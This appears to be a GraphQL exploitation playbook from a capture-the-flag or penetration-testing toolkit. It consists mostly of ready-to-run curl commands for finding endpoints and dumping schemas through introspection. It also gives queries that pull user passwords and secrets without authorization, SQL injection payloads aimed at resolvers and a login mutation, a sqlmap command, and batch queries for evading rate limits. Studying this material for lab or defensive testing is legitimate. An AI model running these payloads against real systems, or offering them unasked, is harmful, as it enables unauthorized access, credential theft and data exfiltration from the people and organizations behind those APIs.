GRAPHQL

GraphQL Exploitation

Exploits GraphQL APIs for data exfiltration, SQL injection through resolvers, authentication/authorization bypass, and batch query abuse.

Discovery

# Common GraphQL endpoints
for path in /graphql /graphiql /v1/graphql /v2/graphql /api/graphql /query /gql /graphql/console; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "http://<TARGET>$path" -H 'Content-Type: application/json' -d '{"query":"{ __typename }"}')
  [ "$code" != "404" ] && [ "$code" != "000" ] && echo "$path -> HTTP $code"
done

# Check for GraphiQL IDE (browser-based)
curl -s 'http://<TARGET>/graphiql' | grep -i 'graphiql\|graphql'

Introspection — Schema Dump

# Quick schema overview — list all types and their fields
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ __schema { types { name kind fields { name type { name kind ofType { name } } } } } }"}' | python3 -m json.tool

# List all query types (entry points)
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ __schema { queryType { fields { name args { name type { name } } type { name kind ofType { name } } } } } }"}' | python3 -m json.tool

# List all mutations
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ __schema { mutationType { fields { name args { name type { name } } } } } }"}' | python3 -m json.tool

# Full introspection query (complete schema)
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } } } fragment FullType on __Type { kind name fields(includeDeprecated: true) { name args { name type { ...TypeRef } } type { ...TypeRef } } inputFields { name type { ...TypeRef } } enumValues(includeDeprecated: true) { name } } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }"}' | python3 -m json.tool

Data Enumeration (Authorization Bypass)

# After introspection reveals types, query all data
# Replace field names based on introspection results
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ users { id username email role password } }"}'

# Query nested/related objects
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ users { id name secrets { id content } } }"}'

# Query with specific filters
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ user(id: 1) { id username role password } }"}'

# Look for flag-related types/fields
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ flags { id value } }"}'
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ secrets { id content } }"}'

GraphQL SQL Injection

# String argument injection
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ user(name: \"admin\\\" OR 1=1--\") { id name } }"}'

# Union-based SQLi through GraphQL
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ user(id: \"1 UNION SELECT 1,2,flag FROM flags--\") { id name } }"}'

# Integer argument injection
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ user(id: \"1 OR 1=1\") { id name email } }"}'

# Mutation-based injection
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"mutation { login(username: \"admin\\\" OR 1=1--\", password: \"x\") { token } }"}'

# If sqlmap is available — use it with GraphQL
# Extract the injectable parameter and use sqlmap
sqlmap -u 'http://<TARGET>/graphql' --method POST \
  --data '{"query":"{ user(id: \"1*\") { id name } }"}' \
  -H 'Content-Type: application/json' --batch --output-dir sqlmap_graphql/

Batch Query Abuse

# Send multiple queries in one request (bypass rate limiting)
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '[{"query":"{ user(id: 1) { id name } }"},{"query":"{ user(id: 2) { id name } }"},{"query":"{ user(id: 3) { id name } }"}]'

# Alias-based batching (single query, multiple operations)
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ u1: user(id: 1) { id name } u2: user(id: 2) { id name } u3: user(id: 3) { id name } }"}'

Workflow

1. Discover endpoint — try common paths
2. Run introspection — dump schema to understand types/fields
3. Enumerate data — query all accessible types for sensitive data
4. Check authorization — can you access admin data without auth?
5. Test injection — SQLi through string/int arguments
6. Look for flags — in user data, secrets, config types